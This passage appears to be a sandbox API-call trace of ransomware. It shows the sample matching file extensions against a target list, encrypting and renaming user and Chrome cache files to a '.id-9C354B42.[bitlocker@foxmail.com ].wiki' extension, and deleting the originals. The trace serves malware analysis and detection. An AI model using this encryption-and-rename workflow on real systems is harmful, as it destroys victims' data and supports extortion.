dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0174.693] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=0) returned 1 [0174.693] CloseHandle (hObject=0x334) returned 1 [0174.693] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest") returned 157 [0174.693] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest") returned 157 [0174.693] lstrlenW (lpString=".doc") returned 4 [0174.693] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0174.693] lstrlenW (lpString=".docx") returned 5 [0174.693] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0174.693] lstrlenW (lpString=".pdf") returned 4 [0174.693] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0174.693] lstrlenW (lpString=".xls") returned 4 [0174.693] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0174.693] lstrlenW (lpString=".xlsx") returned 5 [0174.693] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0174.693] lstrlenW (lpString=".ppt") returned 4 [0174.693] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0174.693] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest") returned 157 [0174.693] lstrlenW (lpString=".zip") returned 4 [0174.693] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0174.693] lstrlenW (lpString=".rar") returned 4 [0174.693] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0174.693] lstrlenW (lpString=".bz2") returned 4 [0174.693] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0174.693] lstrlenW (lpString=".7z") returned 3 [0174.693] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0174.693] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest") returned 157 [0174.693] lstrlenW (lpString=".dbf") returned 4 [0174.694] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0174.694] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest") returned 157 [0174.694] lstrlenW (lpString=".1cd") returned 4 [0174.694] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0174.694] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest") returned 157 [0174.694] lstrlenW (lpString=".jpg") returned 4 [0174.694] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0174.694] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest") returned 157 [0174.694] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest") returned 157 [0174.694] lstrlenW (lpString=".doc") returned 4 [0174.694] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0174.694] lstrlenW (lpString=".docx") returned 5 [0174.694] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0174.694] lstrlenW (lpString=".pdf") returned 4 [0174.694] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0174.694] lstrlenW (lpString=".xls") returned 4 [0174.694] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0174.694] lstrlenW (lpString=".xlsx") returned 5 [0174.694] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0174.694] lstrlenW (lpString=".ppt") returned 4 [0174.694] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0174.694] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest") returned 157 [0174.694] lstrlenW (lpString=".zip") returned 4 [0174.694] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0174.694] lstrlenW (lpString=".rar") returned 4 [0174.694] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0174.694] lstrlenW (lpString=".bz2") returned 4 [0174.694] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0174.694] lstrlenW (lpString=".7z") returned 3 [0174.694] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0174.695] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest") returned 157 [0174.695] lstrlenW (lpString=".dbf") returned 4 [0174.695] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0174.695] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest") returned 157 [0174.695] lstrlenW (lpString=".1cd") returned 4 [0174.695] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0174.695] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest") returned 157 [0174.695] lstrlenW (lpString=".jpg") returned 4 [0174.695] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0174.695] lstrcmpiW (lpString1=".cdf-ms", lpString2=".wiki") returned -1 [0174.695] lstrlenW (lpString="goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms") returned 66 [0174.695] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0174.816] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=14512) returned 1 [0174.816] CloseHandle (hObject=0x2dc) returned 1 [0174.816] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms")) returned 0x2020 [0174.816] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.816] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0174.816] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.816] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.816] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0175.037] GetLastError () returned 0x0 [0175.037] ReadFile (in: hFile=0x2dc, lpBuffer=0x4040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesRead=0x351fed4*=0x38b0, lpOverlapped=0x0) returned 1 [0175.136] WriteFile (in: hFile=0x1a0, lpBuffer=0x4040020*, nNumberOfBytesToWrite=0x38c0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fc9c*=0x38c0, lpOverlapped=0x0) returned 1 [0175.137] ReadFile (in: hFile=0x2dc, lpBuffer=0x4040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.138] WriteFile (in: hFile=0x1a0, lpBuffer=0x4040020*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fc9c*=0x158, lpOverlapped=0x0) returned 1 [0175.138] SetEndOfFile (hFile=0x1a0) returned 1 [0175.138] CloseHandle (hObject=0x1a0) returned 1 [0175.138] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.138] SetEndOfFile (hFile=0x2dc) returned 1 [0175.139] CloseHandle (hObject=0x2dc) returned 1 [0175.139] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.139] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms")) returned 1 [0175.139] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms") returned 155 [0175.139] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms") returned 155 [0175.139] lstrlenW (lpString=".doc") returned 4 [0175.139] lstrcmpiW (lpString1=".doc", lpString2="f-ms") returned -1 [0175.139] lstrlenW (lpString=".docx") returned 5 [0175.139] lstrcmpiW (lpString1=".docx", lpString2="df-ms") returned -1 [0175.139] lstrlenW (lpString=".pdf") returned 4 [0175.139] lstrcmpiW (lpString1=".pdf", lpString2="f-ms") returned -1 [0175.139] lstrlenW (lpString=".xls") returned 4 [0175.139] lstrcmpiW (lpString1=".xls", lpString2="f-ms") returned -1 [0175.139] lstrlenW (lpString=".xlsx") returned 5 [0175.140] lstrcmpiW (lpString1=".xlsx", lpString2="df-ms") returned -1 [0175.140] lstrlenW (lpString=".ppt") returned 4 [0175.140] lstrcmpiW (lpString1=".ppt", lpString2="f-ms") returned -1 [0175.140] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms") returned 155 [0175.140] lstrlenW (lpString=".zip") returned 4 [0175.140] lstrcmpiW (lpString1=".zip", lpString2="f-ms") returned -1 [0175.140] lstrlenW (lpString=".rar") returned 4 [0175.140] lstrcmpiW (lpString1=".rar", lpString2="f-ms") returned -1 [0175.140] lstrlenW (lpString=".bz2") returned 4 [0175.140] lstrcmpiW (lpString1=".bz2", lpString2="f-ms") returned -1 [0175.140] lstrlenW (lpString=".7z") returned 3 [0175.140] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0175.140] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms") returned 155 [0175.140] lstrlenW (lpString=".dbf") returned 4 [0175.140] lstrcmpiW (lpString1=".dbf", lpString2="f-ms") returned -1 [0175.140] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms") returned 155 [0175.140] lstrlenW (lpString=".1cd") returned 4 [0175.140] lstrcmpiW (lpString1=".1cd", lpString2="f-ms") returned -1 [0175.140] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms") returned 155 [0175.140] lstrlenW (lpString=".jpg") returned 4 [0175.140] lstrcmpiW (lpString1=".jpg", lpString2="f-ms") returned -1 [0175.140] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms") returned 155 [0175.140] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms") returned 155 [0175.140] lstrlenW (lpString=".doc") returned 4 [0175.140] lstrcmpiW (lpString1=".doc", lpString2="f-ms") returned -1 [0175.140] lstrlenW (lpString=".docx") returned 5 [0175.140] lstrcmpiW (lpString1=".docx", lpString2="df-ms") returned -1 [0175.140] lstrlenW (lpString=".pdf") returned 4 [0175.140] lstrcmpiW (lpString1=".pdf", lpString2="f-ms") returned -1 [0175.141] lstrlenW (lpString=".xls") returned 4 [0175.141] lstrcmpiW (lpString1=".xls", lpString2="f-ms") returned -1 [0175.141] lstrlenW (lpString=".xlsx") returned 5 [0175.141] lstrcmpiW (lpString1=".xlsx", lpString2="df-ms") returned -1 [0175.141] lstrlenW (lpString=".ppt") returned 4 [0175.141] lstrcmpiW (lpString1=".ppt", lpString2="f-ms") returned -1 [0175.141] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms") returned 155 [0175.141] lstrlenW (lpString=".zip") returned 4 [0175.141] lstrcmpiW (lpString1=".zip", lpString2="f-ms") returned -1 [0175.141] lstrlenW (lpString=".rar") returned 4 [0175.141] lstrcmpiW (lpString1=".rar", lpString2="f-ms") returned -1 [0175.141] lstrlenW (lpString=".bz2") returned 4 [0175.141] lstrcmpiW (lpString1=".bz2", lpString2="f-ms") returned -1 [0175.141] lstrlenW (lpString=".7z") returned 3 [0175.141] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0175.141] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms") returned 155 [0175.141] lstrlenW (lpString=".dbf") returned 4 [0175.141] lstrcmpiW (lpString1=".dbf", lpString2="f-ms") returned -1 [0175.141] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms") returned 155 [0175.141] lstrlenW (lpString=".1cd") returned 4 [0175.141] lstrcmpiW (lpString1=".1cd", lpString2="f-ms") returned -1 [0175.141] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms") returned 155 [0175.141] lstrlenW (lpString=".jpg") returned 4 [0175.141] lstrcmpiW (lpString1=".jpg", lpString2="f-ms") returned -1 [0175.142] lstrlenW (lpString="data_3") returned 6 [0175.142] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0176.813] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=4202496) returned 1 [0176.813] CloseHandle (hObject=0x320) returned 1 [0176.813] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_3")) returned 0x2020 [0176.813] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_3.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0176.813] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_3.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0176.814] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_3.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0176.814] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc6c | out: lpNewFilePointer=0x0) returned 1 [0176.814] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc2c | out: lpNewFilePointer=0x0) returned 1 [0176.814] ReadFile (in: hFile=0x320, lpBuffer=0x4040058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc38, lpOverlapped=0x0 | out: lpBuffer=0x4040058*, lpNumberOfBytesRead=0x351fc38*=0x40000, lpOverlapped=0x0) returned 1 [0176.823] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x156000, lpNewFilePointer=0x0, dwMoveMethod=0x351fc2c | out: lpNewFilePointer=0x0) returned 1 [0176.823] ReadFile (in: hFile=0x320, lpBuffer=0x4080058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc38, lpOverlapped=0x0 | out: lpBuffer=0x4080058*, lpNumberOfBytesRead=0x351fc38*=0x40000, lpOverlapped=0x0) returned 1 [0176.828] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x351fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0176.828] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x3c2000, lpNewFilePointer=0x0, dwMoveMethod=0x351fc2c | out: lpNewFilePointer=0x0) returned 1 [0176.828] ReadFile (in: hFile=0x320, lpBuffer=0x40c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x351fc38, lpOverlapped=0x0 | out: lpBuffer=0x40c0058*, lpNumberOfBytesRead=0x351fc38*=0x40000, lpOverlapped=0x0) returned 1 [0177.142] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.142] WriteFile (in: hFile=0x320, lpBuffer=0x4040020*, nNumberOfBytesToWrite=0xc00f8, lpNumberOfBytesWritten=0x351fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fcb0*=0xc00f8, lpOverlapped=0x0) returned 1 [0179.762] SetEndOfFile (hFile=0x320) returned 1 [0179.763] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x40000) returned 0x4260048 [0179.763] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fc7c | out: lpNewFilePointer=0x0) returned 1 [0179.763] WriteFile (in: hFile=0x320, lpBuffer=0x4260048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc88, lpOverlapped=0x0 | out: lpBuffer=0x4260048*, lpNumberOfBytesWritten=0x351fc88*=0x40000, lpOverlapped=0x0) returned 1 [0179.764] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x156000, lpNewFilePointer=0x0, dwMoveMethod=0x351fc7c | out: lpNewFilePointer=0x0) returned 1 [0179.764] WriteFile (in: hFile=0x320, lpBuffer=0x4260048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc88, lpOverlapped=0x0 | out: lpBuffer=0x4260048*, lpNumberOfBytesWritten=0x351fc88*=0x40000, lpOverlapped=0x0) returned 1 [0179.767] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x3c2000, lpNewFilePointer=0x0, dwMoveMethod=0x351fc7c | out: lpNewFilePointer=0x0) returned 1 [0179.767] WriteFile (in: hFile=0x320, lpBuffer=0x4260048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x351fc88, lpOverlapped=0x0 | out: lpBuffer=0x4260048*, lpNumberOfBytesWritten=0x351fc88*=0x40000, lpOverlapped=0x0) returned 1 [0179.768] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4260048 | out: hHeap=0x630000) returned 1 [0179.768] CloseHandle (hObject=0x320) returned 1 [0179.768] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.768] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3") returned 88 [0179.768] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3") returned 88 [0179.769] lstrlenW (lpString=".doc") returned 4 [0179.769] lstrcmpiW (lpString1=".doc", lpString2="ta_3") returned -1 [0179.769] lstrlenW (lpString=".docx") returned 5 [0179.769] lstrcmpiW (lpString1=".docx", lpString2="ata_3") returned -1 [0179.769] lstrlenW (lpString=".pdf") returned 4 [0179.769] lstrcmpiW (lpString1=".pdf", lpString2="ta_3") returned -1 [0179.769] lstrlenW (lpString=".xls") returned 4 [0179.769] lstrcmpiW (lpString1=".xls", lpString2="ta_3") returned -1 [0179.769] lstrlenW (lpString=".xlsx") returned 5 [0179.769] lstrcmpiW (lpString1=".xlsx", lpString2="ata_3") returned -1 [0179.769] lstrlenW (lpString=".ppt") returned 4 [0179.769] lstrcmpiW (lpString1=".ppt", lpString2="ta_3") returned -1 [0179.769] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3") returned 88 [0179.769] lstrlenW (lpString=".zip") returned 4 [0179.769] lstrcmpiW (lpString1=".zip", lpString2="ta_3") returned -1 [0179.769] lstrlenW (lpString=".rar") returned 4 [0179.769] lstrcmpiW (lpString1=".rar", lpString2="ta_3") returned -1 [0179.769] lstrlenW (lpString=".bz2") returned 4 [0179.769] lstrcmpiW (lpString1=".bz2", lpString2="ta_3") returned -1 [0179.769] lstrlenW (lpString=".7z") returned 3 [0179.769] lstrcmpiW (lpString1=".7z", lpString2="a_3") returned -1 [0179.769] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3") returned 88 [0179.769] lstrlenW (lpString=".dbf") returned 4 [0179.769] lstrcmpiW (lpString1=".dbf", lpString2="ta_3") returned -1 [0179.769] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS 